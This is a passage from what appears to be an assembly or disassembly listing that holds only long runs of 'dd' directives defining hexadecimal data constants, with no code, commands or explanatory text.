0B12C04A3h, 8C0E1202h, 313C04DAh, 445037F3h dd 6EBB8805h, 61DAAA12h, 0AB59A7B7h, 0FC26E0ACh, 91095405h dd 5E7F7C21h, 7E6AC596h, 842FF10Dh, 851B9B2Fh, 3D92514Fh dd 0A823E3E6h, 73B62FF3h, 0C594952Eh, 26017B44h, 9C9F81B5h dd 3D7D27B8h, 69121CA4h, 0F9BD896Ah, 0E7514B29h, 0C0CE4DA7h dd 70458C03h, 0E9A4CA08h, 2E9C0Dh, 5FD45960h, 0EF05F2B2h dd 76588218h, 1D610C81h, 2EE1FF01h, 282B46CDh, 7B8A3C14h dd 6D077077h, 30BB594Fh, 0B1BD89D0h, 0F770792h, 797D66B5h dd 97BF73F9h, 13443214h, 0A1497F8h, 635CCF43h, 8C1BACh dd 0E43D0D86h, 9D691579h, 0FA07BB70h, 3604E80h, 1EF1C985h dd 64E8122Ah, 43EBE65h, 3F001B23h, 0DF3CEC9Fh, 0FD9E2538h dd 0A100A159h, 89F46FB5h, 0FAC838C3h, 0B7BD1482h, 85C5BF8h dd 0E8586591h, 87AE38C0h, 9573337Ch, 63D5B900h, 76FF8613h dd 8C7E28EAh, 604005FDh, 850990BEh, 22ADF80Fh, 0E934BE05h dd 0D4DD74h, 0C5912D1Eh, 0B4C8AD15h, 2AE6494Eh, 88DB509h dd 0B6C0ECD6h, 4577068h, 0ACDDFF73h, 0D32CB813h, 0ABBDF304h dd 7B4C74B3h, 92DAE124h, 6906E590h, 25E6B86Dh, 9BEC37AFh dd 38DBD14h, 0A3688783h, 0C6B08C42h, 2EDE39E5h, 2DFBB204h dd 9901BB6Ch, 4F92995Ch, 0D6B85C79h, 789C4A00h, 5363BF0Ch dd 0BB4E0229h, 74A28D3Fh, 917AB55Fh, 6723801Ch, 0CE7EF87h dd 1AD67280h, 1B4BD1E8h, 4661E9Ch, 0E998F6BFh, 0FA32949Ch dd 10B724E6h, 218D0BE5h, 6C85B100h, 5032BBF0h, 0EB7550FDh dd 899204BAh, 0BF108D9Dh, 7F208376h, 0F49A952Bh, 27ED0460h dd 548E597h, 0A40C45BDh, 164A816Bh, 6756DACBh, 3F0621B0h dd 8F5A8001h, 89F05017h, 4FFA76E6h, 5B04AE40h, 0A900D94Dh dd 0DE819AE2h, 499B523h, 0AED46228h, 0EBAB94F5h, 0D5002A7Bh dd 2C8FE935h, 0BD10095Ah, 844A0865h, 0B58C04DEh, 0C4960B1Ah dd 0DF5802D2h, 163113E4h, 7D00F7D9h, 505914E6h, 9F850022h dd 89D57F92h, 0F83E1F82h dd 245FBFEBh, 211DC51h, 0C0FB8B1Eh, 9AD4BF96h, 98957F8Eh dd 0BEBBCEh, 680D5DC6h, 5A1E91Dh, 1445EB98h, 95698FD9h dd 0CE00FB53h, 58E050A7h, 0FD257444h, 0E2E26070h, 5BE17EAh dd 20DC1D0Bh, 9933603Bh, 8DF72271h, 0C5A5533Bh, 0DB5D5226h dd 0ACD7C024h, 259C5CDh, 0B79C46C7h, 0D7C150F9h, 5272170Dh dd 1FE1D256h, 0A1E79C8Ah, 763ACFABh, 5EC2C54Eh, 0D7537F61h dd 73E4A158h, 0F72350ADh, 0F3204B89h, 25FED052h, 511989A5h dd 0FB44443Ah, 210C1970h, 8B601C42h, 7ACD790Fh, 5F5D5D8Ch dd 0DD42E927h, 0F000AA3Dh, 9D7EDD71h, 0B1E163Ch, 0F8ED526Ch dd 0F58EEE66h, 0EBCCEA13h, 35D103C2h, 0B6BCB4CDh, 4CACE4Ah dd 5F90AF22h, 0C98D7B29h, 5239E66h, 1492A4BFh, 434F316h dd 15B18D09h, 0EB818619h, 830EB9B4h, 0C2C87ABFh, 60965643h dd 0B315BB56h, 5B4A7FEAh, 0AA96D5CCh, 0CE79BDh, 416B5ED7h dd 780FAC94h, 0E0EC1ABCh, 81669690h, 92142DEBh, 545C79h dd 0FE9E1BF6h, 0ADFA6DAEh, 7FB3E716h, 2765DD04h, 5310812h dd 46F77AB0h, 804DB7CEh, 99601D64h, 0D101754Ah, 4CB49D86h dd 0CD2C6D3Dh, 0AE36661h, 159E59DFh, 0B3DF52F8h, 95290D1Ah dd 842E0D39h, 4EFCA9E2h, 0CD829CDBh, 0D6DEFF59h, 4D9FEC22h dd 60186437h, 2617E81Ah, 11B3C633h, 6FB71602h, 560407C2h dd 1546D4FDh, 0E92FD90Ah, 0DBF640D4h, 0B54FD754h, 0CA7A8C20h dd 6D5C12A6h, 2900E110h, 1B815h, 0DC0C7689h, 0BFB08FBDh dd 0C05CD858h, 6BEB9273h, 0C0AC1E3Ch, 0FDDE0028h, 0A7A57FA2h dd 0E4E23128h, 4A68595Dh, 19C81CDAh, 3E174DC0h, 8BC627BFh dd 3CFA1E02h, 536B175Ch, 334A70E4h, 46A30B00h, 9F296F60h dd 71BAC916h, 56D66958h, 2281529Bh, 267D5512h, 0FB53DEh dd 0ED7B7841h, 0F7F6036h, 4DE87093h, 0DDD3F952h, 88EBEAA5h dd 0B7AD2699h, 18A6846Bh, 0C4E6AC83h, 0E2ACD88Ah, 37464FA3h dd 208CB033h, 4B9648CAh, 6D70BEC2h, 0DC9A095Fh, 0EF9693EDh dd 92C43E9Ah, 0A472E847h, 15451081h, 2CFB9D2Fh, 6F9D610h dd 0B98BBAA0h, 0E0627A25h, 4C6DDFA0h, 39120F61h, 6435E712h dd 0EB8DA7Eh, 294EA2h, 3197C96Ch, 0A94EB751h, 1AB595h dd 80014622h, 0D998D08Ch, 0C409F525h, 0D310BF14h, 0AA00FE82h dd 510386DFh, 126F33Ah, 38D34F65h, 0F92A9732h, 998F6E06h dd 0A045B65Ah, 0B0CE605Fh, 58A95CAh, 0E313DE16h, 0F6B94D62h dd 9FBAC128h, 0C584496Ah, 6B1AB1E1h, 0B78AB7D8h, 69D90687h dd 0AB86A5B7h, 2062608Dh, 6A960379h, 7249B5C2h, 0B662D3C5h dd 66B0E759h, 0B8587CBFh, 95D57843h, 80BA1848h, 0DC88D4C1h dd 0DB6E060Bh, 0C56A8F5Bh, 66A87DAAh, 617ED980h, 0B80071E5h dd 38B64462h, 50110BFh, 0B5295FF9h, 0A0FF529Dh, 0A9F08BCFh dd 2B7E7292h, 500DA164h, 548820AAh, 0AD07442Fh, 0CCF1EF81h dd 2923F1EBh, 5F690DEBh, 0B99E2A02h, 0E63F7CC0h, 2809BCC6h dd 0DCBD0960h, 880F8B03h, 61EBA813h, 199F08Dh, 65247F82h dd 4CAE235h, 21A99509h, 44D6BFADh, 0AC44DF6Eh, 0B5AD93B8h dd 0FF1FF8BDh, 0C96ED14Eh, 883A6400h, 0D108EAD0h, 9A84A330h dd 4AF856BBh, 22C5CA39h, 495AA169h, 26ACF81h, 42CAF380h dd 0E62011CAh, 3423245h, 0DEB41713h, 0F298EE78h, 0ABF05283h dd 53601C0Bh, 7F25985Ah, 592E1733h, 4FFA19Ah, 0D2A2A9E2h dd 4EA047F6h, 0E922B892h, 8AE8000Ch, 4B634D95h, 0DFE478D8h dd 0E921641Dh, 0B0B20FD2h, 17DC92C4h, 4AF5FD20h, 63830B79h dd 88ED62E1h, 5B0D8CC0h, 79FC0914h, 0FD09383Dh, 0A4A38ECh dd 0DE26DCDDh, 9DD427F0h, 9A2FCA07h, 496929F8h, 0B7B9037h dd 0F4206068h, 3FDC5DB9h, 4610C3Fh, 1E999531h, 1A5F0ACh dd 0C836D112h, 0B08A2A0Fh, 80C5DA4Bh, 6BB16FB8h, 0F99F0972h dd 671CEB3h, 6A5F5687h, 0C0A34D9Bh, 7D1A4A6h, 43C87B4Ah dd 7A3E0058h, 0BBCD72A1h, 320250C9h, 895DB57Fh, 15D1C19Ah dd 2583D2C6h, 665126A9h, 0D635FD45h, 0B05D4ABFh, 11EF008Eh dd 0E67C9887h, 7B80705Ah, 4AE4C5CCh, 0DED7D371h, 0FC8A3F12h dd 0F92126A9h, 0C53DBB81h, 802A2DCBh, 0ACD0DF2Bh, 0F67B5422h dd 0C98C95FBh, 16418DA2h, 0C726007Fh, 78A137CCh, 429D0380h dd 0D7304039h, 2AE4D807h, 97B678EEh, 0EE605817h, 0A7326913h dd 8D517C12h, 280B6C23h, 79EC0D04h, 9DE70B4Ch, 0F9A24637h dd 0F3BF211Ch, 821CAF61h, 92D6580h, 1244AC52h, 59BD3129h dd 814DE97Dh, 9D89F917h, 702B2695h, 0D6D780A8h, 349A9195h dd 0A8C30312h, 0A09AACD4h, 0DAFBB70Fh, 96DBBEE4h, 0BBF3C500h dd 1F679CE7h, 79697A36h, 0EA22BF80h, 4C9D8E62h, 6CFDB425h dd 5A23209Bh, 0B13D9Dh, 7F0C6782h, 0BD004FEFh, 11CF81F0h dd 952806ABh, 1D91BBB5h, 3CC9A48Fh, 0B7D366FDh, 8BE65008h dd 0C5424BB9h, 0EAC284EDh, 0AC46BBh, 0B0CFAE30h, 189AA37Fh dd 40D14703h, 0EC3FF4D5h, 0EAA832D4h, 4D10954Ch, 0E1B5770Eh dd 222A68A2h, 296DBAAAh, 60601744h, 2C48482Eh, 12CD125Ch dd 0BC2B8B6h, 0E3CA01BDh, 58AF7B7Fh, 0E00F9465h, 0ECF922BCh dd 4AFDDE33h, 6BBAD909h, 57810EDBh, 3C781F02h, 54E1D70Dh dd 0E53D798h, 5B810BDDh, 0E6D0742Bh, 95EBA04Bh, 0CA9595C4h dd 5B55BF81h, 0AA201780h, 4F0D501Dh, 54A8AAA5h, 0AADF52A6h dd 0FDE68F4h, 2EE4CC7Bh, 0C681F2C0h, 1A959AD5h, 95BD0228h dd 15C4090Eh, 88BDD700h, 657B308Dh, 0D6630082h, 0D529E5C9h dd 0EC486693h, 0BB9BD33Dh, 8B3C5880h, 0C8A0A04Bh, 5F89159Dh dd 0B0E6352Bh, 0FF800154h, 906076E1h, 661C4015h, 0E270BA09h dd 47B95961h, 0F69B8AA0h, 3423CF00h, 0B679776Bh, 0A627095Bh dd 0DED2B509h, 7E17534Bh, 7ECFE4F2h, 82C39E13h, 76C92D46h dd 0ABA84062h, 301D2F40h, 0F7804DEDh, 9529A506h, 0A3284A59h dd 4BFC9EEFh, 2EA018E7h, 0BC006912h, 0EB815715h, 1E8C5E78h dd 1605F2Ch, 743FBAF3h, 0E5152B5Bh, 3ADCBD99h, 609FBC72h dd 2E898D09h, 2D095682h, 0E7079CB7h, 0C13EFF7Dh, 0D97430A0h dd 5B9DAF20h, 1612E309h, 43DE01EBh, 0BADE2682h, 0DC6B4A54h dd 1A4EDECEh, 4FB5DCC8h, 0F8B91341h, 5507B253h, 35D515BAh dd 0A18C0E74h, 57518342h, 2F07E4C6h, 35496959h, 26C9601Eh dd 71AC8E3h, 31C79AA0h, 4B8CF002h, 74D05B5Fh, 83373A1Ch dd 0CD82FB8h, 0A42490FEh, 345A0EEFh, 90277980h, 0A863456Ah dd 0F4BB0910h, 9FA2551Eh, 5E0B4A94h, 95EDAF56h, 536DB1C0h dd 890B0301h, 0EEFDF228h, 300DB5A8h, 0E9E1C9B7h, 0DA920A6Dh dd 8BCB80D7h, 45E80348h, 0CFEEE407h, 5806F00Bh, 146271FAh dd 200D049h, 16274B60h, 9D947A4Fh, 0DDF910A7h, 0F94A0375h dd 0D28985BCh, 72482480h, 92CA2E1Eh, 0D404F4C9h, 99612F5Fh dd 0B7E32A26h, 5180FB93h, 3CC16BBFh, 0C169319Eh, 3E39E4FDh dd 885AFA8Ah, 0ECB5D9D3h, 4F33D107h, 0D3ADAE00h, 0CF210316h dd 0B86C0D00h, 0EF686B57h, 3A813EDEh, 0BD3AE5B0h, 0B9BF31EDh dd 8BC460DAh, 0B70F05D1h, 0C22961D2h, 0E2092B9Eh, 0F086D3CEh dd 0D204A678h, 0C59B531h, 0EF961A12h, 0D0B02D82h, 506B835Ch dd 2B2F41F6h, 0F7818530h, 0EB240116h, 0D58D2941h, 8B762E0Ah dd 16702550h, 30A283C6h, 0D6842EFDh, 0B8F0BEE6h, 0A43C06C4h dd 33620631h, 2DAA7823h, 0D0F11ABDh, 0B991015Ch, 0FB47C250h dd 73132EF8h, 2C01D56Fh dd 0A173C171h, 3AA26C96h, 9F6ECF50h, 23F9FB00h, 3429E2BEh dd 0BF04A6E4h, 24DC499Fh, 0F2D288B8h, 53EE07E4h, 40FFD898h dd 723B6FC2h, 80545ECFh, 5F85D06Dh, 93C681Eh, 3404B653h dd 27E803CDh, 0B8FAC305h, 0C0849B49h, 17C6A38Bh, 4EC49051h dd 0B65912D5h, 3016B296h, 604E96B0h, 6A0069B2h, 2B70CCA7h dd 4E0377DAh, 45EDF801h, 94ACD0F7h, 1E461329h, 0F6091853h dd 9D5C59EBh, 6C204885h, 7E61897h, 9061EE02h, 0B0D07BB7h dd 0FD8A04C4h, 1CF2FA84h, 0C2A9202h, 26372B0h, 93BF1C02h dd 0DC73A60Bh, 0DCEB2EDAh, 0B35DA707h, 0D6626FDAh, 636C5569h dd 26519512h, 0E9B4DEBCh, 0A5A8FCh, 1ED79705h, 5085B9CCh dd 21204898h, 0D63EDD0Ah, 6165B065h, 0CCB7B7h, 59307B3Dh dd 0DD4ABE84h, 2D2EB4A1h, 7C303A20h, 4BD1BD23h, 2226CE0Dh dd 4D297D3Bh, 0E91A8A71h, 3755174Bh, 48790259h, 1F63EEB1h dd 600B08C2h, 0BE1B6D91h, 61F0897Ch, 0D0EE1D5Dh, 0F94BBFD3h dd 2A809A9Bh, 0DA9F3DF6h, 6B9B3304h, 0CCF6608Ch, 60C9851Eh dd 5E3146B7h, 8489F2F5h, 9A941285h, 2196EAFh, 4F7192B1h dd 8B0645AFh, 6F04E5h, 9C82F440h, 50E4E230h, 5E99FE02h dd 0B6DF71Eh, 70458D89h, 43359573h, 0D6801D91h, 332D20E5h dd 35AF5404h, 75AE11BBh, 0A92CA9B9h, 5EB5AF60h, 0B0DDE7A1h dd 482012AFh, 0E9107B50h, 0B1E75B1Ah, 12366A5Fh, 22BB36C2h dd 10756E75h, 17C61CEh, 9746045h, 47C21471h, 2610BEC1h dd 0CA3FF05Fh, 2070ED20h, 3C0B00CEh, 0E4F1F7CCh, 0BC0060FDh dd 5DA888A2h, 0DC61C1B1h, 9CBBC134h, 0E645854Ch, 3096DA41h dd 1E57A917h, 301CA2E3h, 0D55F86D9h, 89252DA3h, 3AFC9091h dd 0A3AA1E75h, 0ACCFF04Ah, 809E27E5h, 6F84DE2h, 64A4CD95h dd 0E93C6018h, 844F25C0h, 8DC1A876h, 4B0A0171h, 12E0A6E6h dd 0E778ED5h, 81167600h, 3A6F35DFh, 0A727B405h, 0B1037ABDh dd 15680EBh, 313827B2h, 3A1BB59Dh, 0BEED2F64h, 8301E3A8h dd 22FA2CDh, 0A1308087h, 8A6A2FEFh, 0B54B6D43h, 0EAB92BC4h dd 28C17ACh, 5A401018h, 0F0D58509h, 0E92997DBh, 0DDD274FBh dd 0D68D88A3h, 3F7D2FB9h, 9834C8h, 2A442620h, 5D012DCEh dd 0E000ADFEh, 5533BCDFh, 1A6F63BFh, 7E5B59D9h, 38707BF3h dd 74760421h, 4011E977h, 6EAAD7D3h, 83D201CAh, 0A7B08772h dd 6033ED92h, 12B03ADDh, 26C4A59Eh, 2926D48Ah, 0BD1A120Eh dd 0FCF8CB41h, 25BA812Bh, 701B9181h, 0D0258AC6h, 607DD65Ah dd 0B7AEE87Bh, 0FE4EAA00h, 61A002DEh, 0A6344A89h, 5742F0B2h dd 0AE31A855h, 0C0DA003Ah, 0FC026216h, 359FBC2Fh, 81179160h dd 0D9CCBE65h, 87D00428h, 0BD039512h, 0A6FD24Fh, 9230EE01h dd 3AF964BAh, 8A218828h, 73B6857Fh, 7AB530FAh, 0F3970B0h dd 5C08009Ch, 15E54DAFh, 36B605BFh, 455F417Bh, 6EDD8AB1h dd 31D2386h, 2647C710h, 62F4B2F8h, 4657A827h, 0B5313F79h dd 0F4F32026h, 77001B46h, 4EFD9285h, 23D8A0Fh, 0F3820581h dd 0B6E064ACh, 0C5E59511h, 27A79170h, 0AC4571FDh, 0F7806110h dd 0E58CEF3h, 286D2D85h, 0F390F343h, 0ECC180D5h, 0D01E647Eh dd 4AAFE959h, 8CE8B0A9h, 65EBF4F1h, 5EFBA313h, 5F5297C1h dd 50B98E7Ah, 1E403565h, 0E96107F9h, 1BFFF142h, 0B2C0C1EDh dd 904993E6h, 9524F257h, 325E8270h, 6A4ECDA3h, 301E0035h dd 79134C62h, 0A887131Ah, 4ACBA302h, 7DF4C8h, 923BCFBFh dd 135FD03h, 2D489576h, 117C409Bh, 81D56707h, 52C4B047h dd 3DF92DABh, 143F4CEAh, 91F61CA1h, 7EE60335h, 0C9F29150h dd 0BCC46B98h, 2643629Fh, 0A9D6890Fh, 0FC170EC4h, 78BA61E7h dd 0DB2F0BEEh, 0EC9CC06Eh, 9DDD1B8Bh, 0CD55A50Bh, 0E3FC69BEh dd 4322EE83h, 0E2AC9CAAh, 6142E54Fh, 23BC6EDDh, 575DBBC2h dd 95B78DABh, 0A8F2CE12h, 0DDB2A000h, 758173A1h, 97178B4Bh dd 0B7225720h, 0A6EA000Eh, 4DE913FCh, 0F00B3C6Fh, 28425C6Dh dd 0FE13A994h, 0C85EB3A3h, 6607487Ch, 0E25D64DBh, 0E30BAC0h dd 0B7FF28CDh, 0F31D4ACAh, 1F6B927Eh, 421C5504h, 834DEC4Dh dd 0F0130426h, 5FBD29EAh, 5F720BD5h, 0D968C680h, 0FF271D6Dh dd 0C07FCDD1h, 51921F1Ch, 455FF827h, 10C33CD6h, 0F99720A9h dd 4BB852h, 83D0372Bh, 94B31768h, 0D501E0A6h, 71CAB74Eh dd 806B6397h, 509FBD49h, 559C20EDh, 59F2224Bh, 6BD2h, 299CD1CBh dd 0F0CA593Eh, 0BEED5A83h, 0B2CE6A40h, 0FA600Bh, 8C5A9722h dd 49B85E92h, 64E97612h, 82E1A0BCh, 558004EEh, 490FA533h dd 4184DA83h, 0CEC5E916h, 0FD7982BFh, 1225D465h, 98641F8h dd 7E0A058Dh, 574E545Ah, 1426B965h, 0FC2A00D6h, 6AF8B8B7h dd 0B64E8491h, 0B7E7BC94h, 0E94A85B0h, 9D33D61Dh, 23321010h dd 79092CF2h, 6BAFACC3h, 185081DEh, 1A7906Ah, 0F8CF813Fh dd 600F82BBh, 114BE5FCh, 0FCE849B9h, 4CF5C027h, 15E20BCh dd 60F8894Ah, 13E293h, 2013E51Bh, 0BBF674Bh, 799D0B09h dd 0B05F6B23h, 70E6F880h, 27DECA0h, 0A871E480h, 725A6Fh dd 7769AF18h, 8BC15997h, 20DB269Dh, 0E757487Dh, 4A253D11h dd 0A286B4E4h, 4FD123h, 9C74C576h, 0DB9EBA62h, 9159162h dd 8E0F8682h, 0B32D71FAh, 3D1D71C3h, 0B1DFA0ADh, 13AF858h dd 6D9509FDh, 81200908h, 8BF50AFAh, 228F01D1h, 52E94EE3h dd 0C7438823h, 80EA1800h, 4BADD61Fh, 914607B2h, 720DFCA8h dd 2A628A52h, 4C4470C0h, 8E02DBE3h, 880F187Ah, 0F2632909h dd 0F5D881E8h, 0F380464Eh, 2D8D8907h, 3F712151h, 0DE5A9A27h dd 0B3151364h, 5A2C2202h, 5E78E2FCh, 33CABC8h, 904D70DEh dd 7DA0371Eh, 0A713C15Dh, 0DFFD602Dh, 3107E143h, 409673E0h dd 7B367623h, 1CCD334Eh, 0AF83203Ah, 8C98368h, 1424D921h dd 0DFC9B62Dh, 0FB2621DBh, 8093CF60h, 5AC01F6Eh, 3BED424Fh dd 786297F8h, 8F0F9A10h, 5631016Bh, 686EE278h, 6D9D3100h dd 0E464B702h, 0DE78109h, 87FFD13Bh, 1910B9F9h, 1C1239F1h dd 0FD9291BDh, 2D6A818h, 8DC10376h, 0A840FC6Fh, 9832815h dd 2FB9950Eh, 0F4C9755Ch, 170F109Bh, 0EA1AD22Bh, 0DBAF5E8Ah dd 4E395822h, 3F8789F8h, 0E889489Bh, 75969057h, 0CCD738D5h dd 0AC8B5E38h, 9B41218Ah, 5B01C2D1h, 763C63B7h, 502A37D6h dd 0D95B4097h, 6423FF03h, 0D86986E5h, 9B4969Ch, 26F59D89h dd 0BF48AAD1h, 0DBF84AB8h, 94E96BEDh, 0B13FBAA8h, 1D0CC60h dd 290CA5AAh, 946E21B5h, 0A3ADBC71h, 0DB434A64h, 0E90285DFh dd 0AACCF534h, 0E5D200CCh, 4910B764h, 0F8EF5C9Eh, 0E34AD3A8h dd 0F94A54F7h, 0EE3A84Fh, 6B7C9FCFh, 9E1FF60h, 24AADBDh dd 0E58D3CF3h, 869F605Fh, 6738CA13h, 0ED8D59A2h, 0A4DB2B27h dd 8C991180h, 744A129Bh, 7E947EEDh, 52471627h, 0DF747D1Ah dd 0A4A4A7B7h, 0D017B309h, 5CB7B542h, 8AF75F00h, 0B0AEA1Ah dd 8A98531h, 0E5455AF2h, 0DB45162Fh, 40A780FFh, 2D8C74Bh dd 5386EF81h, 57602795h, 524E44DFh, 1A414692h, 44CECD5Dh dd 1CD8BE71h, 0BA3D559Dh, 77109206h, 0A263828Dh, 610521F2h dd 53811B24h, 0CA2B08C1h, 44892561h, 409B972Bh, 0A313210h dd 8D0F900Eh, 0C094A952h, 423CC1B0h, 0C2CD5E2Dh, 605B1Eh dd 179690DFh, 0CEE609DCh, 54644B31h, 0F2321500h, 7FBB2B6Fh dd 21940284h, 6A31233Ah, 0BA7802F3h, 5E25048Eh, 816AB829h dd 2685B0h dd 0D2D99531h, 7F20Dh, 5BFA8BCDh, 224875ABh, 5FE0890Fh dd 4D0E6801h, 96B7A16Fh, 0F14B012Eh, 705EAFB6h, 0CA4A9010h dd 6A2B87DDh, 0AECA3D29h, 692F0DEh, 0AFB046BCh, 6F45E9A9h dd 258DD35Ch, 1F7B1D79h, 0E45C70A7h, 0F45C12AEh, 5A9EF27Dh dd 0BC02B16Fh, 0ED1942B0h, 4668B25Eh, 0FA9D0343h, 3D96570Dh dd 1435B5h, 0A4E3E228h, 9198D73Ch, 11729097h, 0C86900A6h dd 4491AAD0h, 0DE005B9Fh, 32FF62D5h, 2FF27224h, 2BC056AFh dd 5F5E92E9h, 44960B20h, 0BD93029Ah, 15D35AECh, 738E1176h dd 8943844Bh, 0CAF99192h, 0D615767Bh, 64041746h, 0A293B53Dh dd 37C20293h, 5E365C61h, 2B712EEh, 8C0F60AFh, 57C9BAF4h dd 0CD10D11h, 0C97B86A5h, 68FBA9C0h, 7D75F4FAh, 81DE3032h dd 6AF7053Ch, 0DFF112D6h, 2F842D2Eh, 7AA365A6h, 0FF969C01h dd 50F8CBC6h, 0B8472A5h, 123DC557h, 5F3D0901h, 8E7C9232h dd 54E89140h, 326E0002h, 0C63B633Dh, 0B79F617Fh, 2CC4827Ch dd 0D26825B9h, 1697EB4Ch, 630BBFF8h, 0BD0FA54h, 1BB1329Dh dd 0F2024ADh, 0FD29DBB7h, 0F84A642Dh, 56D3EE4Bh, 0E079B687h dd 0C5F80F29h, 0AB1E3548h, 89D3FF38h, 86DF429h, 69A09C97h dd 37D726C0h, 3ED6822Dh, 90F56068h, 72D98Dh, 4B53415h dd 0FCA79858h, 0E4615927h, 8926038Eh, 7F0D883Dh, 0F915C9B0h dd 0DC653500h, 14D11384h, 0BCE8FE62h, 0A25764D9h, 11020006h dd 0C5C18BA2h, 0FD5F0145h, 0B6660DF9h, 9F5CDEBAh, 0D4F854E9h dd 6632E100h, 7DC5692Dh, 0EE7F0805h, 6A8207E8h, 0D7EF0A83h dd 0BF5B1A60h, 9F899B09h, 92C75916h, 4896E3F5h, 0FE210279h dd 515044E3h, 4DD100FFh, 36E0CEE7h, 0A05F3D2Fh, 0BAB54AEEh dd 5C0F9BBh, 385B4D01h, 23F38103h, 0EB844EF9h, 18C8DB9Ah dd 78D5C3CFh, 9B81DD2Fh, 132FF759h, 5ABEB87Ah, 0F92988B7h dd 9252470h, 4E5E31D1h, 0E16709E7h, 6A1D71A9h, 1A465C2Fh dd 0BE497003h, 0B0C06FC8h, 801328B3h, 10B999CBh, 0ACDFBF84h dd 67F825F6h, 58B02BC9h, 0F8B04271h, 65052D25h, 0CD7BADC7h dd 1754650h, 2B396885h, 891031BDh, 74A99D59h, 0A96A163Ch dd 3F63BCA6h, 28A48559h, 90D2BB7h, 15DDFD8Ah, 0F0D940C2h dd 0AB0490A0h, 0DFF2348h, 9529D8D0h, 0B4284F05h, 0CD8808E1h dd 0D95C05D2h, 0FAF2827Ah, 5324D10Bh, 19F0704Eh, 0FE8BE314h dd 7D04926Ch, 79AC1D61h, 4E6AAAB4h, 74651125h, 52243F11h dd 1E20396Ah, 50965B1Eh, 0F99B782h, 35ADE31h, 585A5FD9h dd 969BB3E8h, 0C0F76D9Dh, 0BCEFD641h, 0FF53230Ah, 75CA7AFDh dd 987046A5h, 11C1208Bh, 0B909F94Dh, 57410Ch, 69634BBCh dd 8041F5E3h, 66CADB25h, 0B1109F68h, 6F009157h, 0FEDA4090h dd 1E35BB2h, 0A98B4AAFh, 0D048819Ch, 509D0983h, 2267B54Ch dd 0CF275A9Ch, 0EAC04306h, 2BE4B7C9h, 0B5898231h, 2A5BF53Bh dd 8D9B5E12h, 16D1A583h, 0E9A082B5h, 0F0ECF2D7h, 0EF75821Bh dd 601564B9h, 4AE9C276h, 2B1FF19Dh, 49004F6Eh, 9ECDA7A1h dd 90582E78h, 3E2A0416h, 0ECC15B54h, 342B0245h, 0A80CB97Bh dd 285AFAFFh, 25837F3Bh, 477B16ADh, 98BFD2ADh, 99C12528h dd 27903C0Ah, 88A79FC3h, 41EBB709h, 0EDD9F529h, 5C480AB1h dd 74FD6BFCh, 0E80190BCh, 8C82846Dh, 0B2B735Ah, 16048946h dd 0D7AC1231h, 0BCA5F2C0h, 6DF55AB1h, 0A36300DAh, 1309F69Eh dd 5BAE1204h, 85E5B8FFh, 1F168A0Fh, 0FED8FCB0h, 0DE76B46Ah dd 60E8702Dh, 0C29AEFB9h, 919D2B44h, 99494D5h, 21618D89h dd 18B1105Bh, 0BF00084Dh, 5C0A42F6h, 0C1D1FF28h, 0EACA09h dd 0BD720103h, 0CE14955Eh, 30DE994Eh, 5CEE06C0h, 0EB000F95h dd 56CD61D6h, 2D0BF66h, 81B75BC4h, 37F5026Ah, 0D807BA0Ch dd 815D54E9h, 6AB53156h, 505F1991h, 95C7688Bh, 0E8D875D3h dd 7C670132h, 0A6B36913h, 3A7ED26Bh, 14B70B12h, 2890F0Dh dd 0E9FC003Fh, 16950B9Eh, 0FC6620E4h, 0EAB5012Fh, 91F76E8h dd 0A45C8525h, 894D35EBh, 7A59E447h, 0FF747E01h, 0A3C8A014h dd 5E48B250h, 0C802CFD8h, 0E49AC01Bh, 191F13ECh, 0A9A6DD7Ch dd 5052A925h, 8C9FBF24h, 0F1801B91h, 92C93DD0h, 7934F912h dd 1D25E4BCh, 46F49554h, 10102414h, 8BE26002h, 692056DFh dd 2A10E2C1h, 9D5D6CA3h, 1ED720A9h, 1162E72h, 24A2A1BDh dd 0A70E452Ch, 0B7C27A74h, 0C42056DFh, 81FA5802h, 3BB0812Eh dd 408D21F0h, 7026E60Ah, 2F10B589h, 271E413h, 1475A1ACh dd 0DD980756h, 95DC8A67h, 0C6440189h, 0B3DA1F00h, 15641369h dd 9D9CA036h, 129EBEB5h, 106B25Bh, 5963D381h, 5044235h dd 0AB27FD94h, 54F9C322h, 0D38001F8h, 88C82B42h, 926394Ch dd 4B51D18Bh, 30102800h, 1F492784h, 47DABE4Bh, 2DE98640h dd 50D83023h, 47554C09h, 19D852F9h, 5106A99Dh, 2A1EE1BDh dd 0B529DE20h, 372AFF0Dh, 38228D8h, 0A728359Dh, 240854AEh dd 98080982h, 0E888BB51h, 0EDA68712h, 0CC79D073h, 69009FE2h dd 0A9EB6847h, 0E488D5BCh, 800F276Ch, 0F3820571h, 555BA48Eh dd 0B1323C45h, 0F7145706h, 53EF095Bh, 7B4610ECh, 7EC4615Fh dd 0F0A96F78h, 0A0026DBCh, 0D4781477h, 0C192746Ch, 0A4D537BFh dd 0E631B58h, 0F2A290FFh, 2475627Fh, 0F5541B71h, 9D295060h dd 5E2EB2CDh, 0CB0F205Bh, 400962Ch, 0D33FCF03h, 970FEA8h dd 0B4B9C32Dh, 56BD0E58h, 0F34AD652h, 11A024C5h, 951176D6h dd 42E7404h, 45C1C02Bh, 11962705h, 12BD6FD2h, 0CB09092Bh dd 0E11859DAh, 36F940B3h, 0B2F0F09Fh, 39B1000Dh, 29B0D307h dd 2BED8195h, 9A5AC48Ah, 13788115h, 0BE929D45h, 0C9C7B9FBh dd 54B54249h, 0FF566415h, 0A4912272h, 1DAC5FA0h, 7A84AFAh dd 0DCBB5200h, 5B4BB3D4h, 8DB06062h, 0A173F503h, 0A640EC00h dd 2DC517AAh, 0B289AC5Bh, 51642F51h, 43B58D57h, 6980ECCCh dd 0BD2C033Dh, 0B89CE00Dh, 803FBD27h, 0C97D21E1h, 0C0540D2h dd 1FF59531h, 48D75ABh, 0C2F1839Fh, 0AD401237h, 0FB4A8BE1h dd 79221CCAh, 45809491h, 0B02CED69h, 940102D2h, 0C4CEE3ECh dd 76512756h, 0B99D3310h, 0CE2A4Ah, 8F308A76h, 729FBD23h dd 0F6604E8Bh, 0D19D16F3h, 79DE21ACh, 528D891Dh, 64D5A202h dd 32AB1635h, 0F62C20F6h, 72754813h, 0DBDF993Ah, 0C414C8B4h dd 3D0CEF1Eh, 25BB9D0Eh, 964CED77h, 0BF90DF00h, 19529D2Dh dd 0FD8A3C50h, 8DE89BCBh, 23303EB1h, 30204111h, 0B4A7DBCh dd 19F273B3h, 1898AD30h, 0D271B3E2h, 5FC0E59Dh, 9E521C68h dd 0B2604B46h, 11AE005Ch, 99028116h, 0FA09001Fh, 75BEEC01h dd 0B12F80EDh, 